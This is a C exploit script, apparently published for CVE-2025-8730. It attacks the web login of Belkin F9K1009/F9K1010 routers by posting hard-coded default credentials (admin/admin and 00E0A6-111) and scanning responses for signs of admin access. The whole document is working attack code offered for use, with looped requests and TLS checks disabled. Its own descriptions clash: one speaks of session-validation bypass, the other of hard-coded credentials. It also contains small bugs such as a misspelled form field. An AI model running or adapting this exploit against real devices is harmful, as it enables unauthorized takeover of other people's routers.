Belkin F9K1009 F9K1010 2.00.04/2.00.09 Hard Coded Credentials

/* * Title : Belkin F9K1009 F9K1010 2.00.04/2.00.09 - Hard Coded Credentials * Author : Byte Reaper * CVE : CVE-2025-8730 * Description : Exploit demonstrating an authentication bypass vulnerability * in the web interface of Belkin F9K1009 and F9K1010 routers. The flaw resides * in improper session validation logic, allowing remote attackers to gain * unauthorized access to the administrative panel without supplying valid credentials. */ #include <stdio.h> #include <string.h> #include <curl/curl.h> #include "argparse.h" #include <stdlib.h> #include <time.h> #include <errno.h> #define FULL 2000 #define LOGIN_POST 1500 const char *nameFileC = NULL; int verbose = 0; const char *router = NULL; const char *cookies = NULL; int uC = 0; const char *fullurl = NULL; int sleepS = 0; int count = 0; void exitSyscall() { __asm__ volatile ( "mov $0x3C, %%rax\n\t" "xor %%rdi, %%rdi\n\t" "syscall\n\t" : : :"rax", "rdi" ); } int checkLen(int len, char *buf, size_t bufcap) { if (len < 0 || (size_t)len >= bufcap) { printf("\e[0;31m[-] Len is Long ! \e[0m\n"); printf("\e[0;31m[-] Len %d\e[0m\n", len); exitSyscall(); return 1; } else { printf("\e[0;34m[+] Len Is Not Long (%d).\e[0m\n",len); return 0; } return 0; } struct Mem { char *buffer; size_t len; }; size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata) { size_t total = size * nmemb; struct Mem *m = (struct Mem *)userdata; char *tmp = realloc(m->buffer, m->len + total + 1); if (tmp == NULL) { fprintf(stderr, "\e[1;31m[-] Failed to allocate memory!\e[0m\n"); exitSyscall(); } m->buffer = tmp; memcpy(&(m->buffer[m->len]), ptr, total); m->len += total; m->buffer[m->len] = '\0'; return total; } const char *wordLogin[] = { "login_success", "Welcome", "Dashboard", "admin panel", "Set-Cookie", "Authorization", "token", "sessionid", "redirect", "access granted", "authenticated", "user authenticated", "login ok", "login complete", "login status=success", "login=1", "auth=1", "valid credentials", "home.htm", "main.htm", "index.htm", "config.htm", "firmware.htm", "admin.htm", NULL }; void sleepTime(int sec) { if (sec <= 0) { fprintf(stderr, "\e[0;31m[-] Value seconds must be > 0 !\e[0m\n"); exitSyscall(); } struct timespec req, rem; req.tv_sec = (time_t)sec; req.tv_nsec = 0; printf("\e[0;33m[+] Sleeping for %d seconds...\e[0m\n", sec); while (nanosleep(&req, &rem) == -1) { if (errno == EINTR) { req = rem; continue; } perror("\e[0;31m[-] Nanosleep failed !\e[0m"); exitSyscall(); } printf("\e[0;34m[+] Sleep successful.\e[0m\n"); } void detectDeviceType(const char *routerIp) { printf("\n=================================== [type Device] ===================================\e[0m\n"); CURL *curl = curl_easy_init(); if (!curl) exitSyscall(); struct Mem response = { NULL, 0 }; char full[FULL]; int len = snprintf(full, sizeof(full), "http://%s", routerIp); if (checkLen(len, full, sizeof(full))) { exitSyscall(); } curl_easy_setopt(curl, CURLOPT_URL, full); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); if (sleepS) { sleepTime(sleepS); } curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 5L); CURLcode res = curl_easy_perform(curl); if (res != CURLE_OK) { fprintf(stderr, "\e[0;31m[-] curl error: %s\n", curl_easy_strerror(res)); } if (response.buffer) { if (strstr(response.buffer, "F9K1009")) { printf("\e[0;36m[+] Device: Belkin F9K1009\e[0m\n"); } else if (strstr(response.buffer, "F9K1010")) { printf("\e[0;36m[+] Device: Belkin F9K1010\e[0m\n"); } else { printf("\e[0;31m[-] Unknown device type\e[0m\n"); free(response.buffer); } } else { printf("\e[0;31m[-] Response Is NULL !\n"); }; response.buffer= NULL; response.len = 0; curl_easy_cleanup(curl); printf("=====================================================================================\n"); } void credentialsRequest(const char *routerIp) { CURL *curl = curl_easy_init(); if (curl == NULL) { printf("\e[0;31m[-] Error Create Object CURL !\e[0m\n"); exitSyscall(); } CURLcode res; char full[FULL]; int nL = 2; struct Mem response; response.buffer= NULL; response.len = 0; for (int l = 0; l <= nL; l++) { if (curl) { char full[FULL]; char post[LOGIN_POST]; if (fullurl != NULL ) { int lenFull = snprintf(full, sizeof(full), "%s", fullurl); if (checkLen(lenFull,full, sizeof(full)) == 1) { printf("\e[0;31m[-] Len FUll URL (Router IP) Is Long !\e[0m\n"); printf("\e[0;31m[-] Len : %d\n",lenFull); exitSyscall(); } printf("[+] Create FULL URL Successfully.\e[0m\n"); printf("[+] Default Port Request : %d\e[0m\n", 80); printf("[+] FULL URL : %s\n", full); } else { int lenI = snprintf(full, sizeof(full), "http://%s/login.htm", routerIp); if (checkLen(lenI,full, sizeof(full)) == 1) { printf("\e[0;31m[-] Len FUll URL (Router IP) Is Long !\e[0m\n"); printf("\e[0;31m[-] Len : %d\e[0m\n",lenI); exitSyscall(); } else { printf("\e[1;34m[+] Create FULL URL Successfully.\e[0m\n"); printf("\e[1;34m[+] Target IP %s\e[0m\n", routerIp); printf("\e[1;34m[+] Default Port Request : %d\e[0m\n", 80); printf("\e[1;34m[+] FULL URL : %s\e[0m\n", full); } } if (l < 2) { //login admin int vA = snprintf(post, sizeof(post), "login_username=admin&login_password=admin"); if (checkLen(vA, post, sizeof(post)) == 1) { printf("\e[0;31m[-] Error Write POST DATA !\e[0m\n"); printf("\e[0;31m[-] Len (data): %d\e[0m\n", vA); exitSyscall(); } printf("\e[0;36m[+] Write Successfully POST DATA .\e[0m\n"); printf("\e[0;36m[%d] Result POST DATA (admin) : \e[0m\n", l); printf("\n%s\n", post); } else { //login 00E0A6-111 int vE = snprintf(post, sizeof(post), "login_usernam=00E0A6-111&login_password=00E0A6-111"); if (checkLen(vE, post, sizeof(post)) == 1) { printf("\e[0;31m[-] Error Write POST DATA !\e[0m\n"); printf("\e[0;31m[-] Len (data): %d\n", vE); exitSyscall(); } printf("\e[0;36m[+] Write Successfully POST DATA .\e[0m\n"); printf("\e[0;36m[%d] Result POST DATA (00E0A6-111) : \e[0m\n", l); printf("\n%s\n", post); } curl_easy_setopt(curl, CURLOPT_URL, full); if (uC) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } curl_easy_setopt(curl, CURLOPT_POST, 1L); curl_easy_setopt(curl, CURLOPT_POSTFIELDS, post); curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, (long)strlen(post)); curl_easy_setopt(curl, CURLOPT_ACCEPT_ENCODING, ""); curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); if (sleepS) { sleepTime(sleepS); } curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); if (verbose) { printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } struct curl_slist *headers = NULL; headers = curl_slist_append(headers, "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0)"); headers = curl_slist_append(headers, "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); headers = curl_slist_append(headers, "Accept-Encoding: gzip, deflate, br"); headers = curl_slist_append(headers, "Accept-Language: en-US,en;q=0.5"); headers = curl_slist_append(headers, "Connection: keep-alive"); headers = curl_slist_append(headers, "Content-Type: application/json"); headers = curl_slist_append(headers, "Cache-Control: max-age=0"); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); res = curl_easy_perform(curl); curl_slist_free_all(headers); if (res == CURLE_OK) { long httpCode = 0; long totalR; double timeredirect; char *redirectUrl = NULL; printf("\e[0;36m[+] Request sent successfully\e[0m\n"); if (response.len == 0) { printf("\e[0;31m[-] Response Len Zero !\e[0m\n"); } curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode); printf("\e[0;32m[+] Http Code : %ld\e[0m\n", httpCode); curl_easy_getinfo(curl, CURLINFO_REDIRECT_COUNT, &totalR); curl_easy_getinfo(curl, CURLINFO_REDIRECT_TIME, &timeredirect); curl_easy_getinfo(curl, CURLINFO_REDIRECT_URL, &redirectUrl); printf("\e[0;35m[+] REDIRECT : ========================\e[0m\n"); printf("\e[0;34m[+] Time REDIRECT: %.1f\e[0m\n", timeredirect); printf("\e[0;34m[+] Total REDIRECT %ld\e[0m\n", totalR); printf("\e[0;34m[+] REDIRECT to : %s\e[0m\n", redirectUrl); printf("\e[0;35m=======================================\e[0m\n"); if (httpCode >= 200 && httpCode < 300) { if (response.buffer) { for (int r = 0; wordLogin[r] != NULL; r++) { if (strstr(response.buffer, wordLogin[r]) != NULL) { printf("\e[0;34m[+] Word Found : %s\n", wordLogin[r]); printf("\e[0;35m============================================= [RESPONSE] =============================================\e[0m\n"); printf("\n%s\n",response.buffer); printf("\e[0;35m ======================================================================================================\e[0m\n"); } if (verbose) { printf("\e[0;31m[-] Word Not Found : %s\e[0m\n",wordLogin[r]); } } } else { printf("\e[0;31m[-] Response Buffer Is NULL !\e[0m\n"); printf("\e[0;31m[-] Possible Waf \e[0m\n"); } } else { printf("\e[0;31m[-] http Code Not Range (%ld)\e[0m\n", httpCode); } } else { printf("\e[0;31m[-] The request was not sent !\e[0m\n"); printf("\e[0;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res)); exitSyscall(); } } } curl_easy_cleanup(curl); if (response.buffer) { free(response.buffer); response.buffer = NULL; response.len = 0; } } int main(int argc, const char **argv) { printf("+-----------------------------------------------------------+\n"); printf("| Author : [ Byte Reaper ] |\n"); printf("| CVE : [ CVE-2025-8730 ] |\n"); printf("| Type Vuln : [ hard-coded credentials ] |\n"); printf("| Exploit publishing : [ 08/08/2025 ] |\n"); printf("| Target Service : [ Belkin F9K1009/F9K1010 ] |\n"); printf("+-----------------------------------------------------------+\n"); printf("\e[0;31m--------------------------------------------------------------------------------------------------------------------\e[0m\n"); curl_global_init(CURL_GLOBAL_DEFAULT); struct argparse_option options[] = { OPT_STRING('f', "full", &fullurl, "FULL url FORMAT (Login File)"), OPT_HELP(), OPT_STRING('i', "ip", &router, "Router Ip (12.12.12.12)"), OPT_STRING('c', "cookies", &nameFileC, "Enter File cookies"), OPT_BOOLEAN('v', "verbose", &verbose, "Verbose Mode"), OPT_INTEGER('s', "sleep", &sleepS, "Sleep Request"), OPT_INTEGER('k', "count", &count, "Number For Loop Request (-k 8 (8 Request))"), OPT_END(), }; struct argparse argparse; argparse_init(&argparse, options, NULL, 0); argparse_parse(&argparse, argc, argv); if (router == NULL && fullurl == NULL) { printf("\e[0;31m[-] Please Enter target Router IP !\e[0m\n"); printf("\e[0;31m[-] Example : ./CVE-2025-8730 -i <IP> \e[0m\n"); exitSyscall(); } if (nameFileC) { uC = 1; } if (verbose) { verbose = 1; } if (fullurl) { credentialsRequest(NULL); } if (sleepS) { sleepTime(sleepS); } if (count) { for (int j = 0; j <= count; j++) { if (fullurl) { credentialsRequest(fullurl); } if (router) { credentialsRequest(router); } } } detectDeviceType(router); credentialsRequest(router); curl_global_cleanup(); return 0; }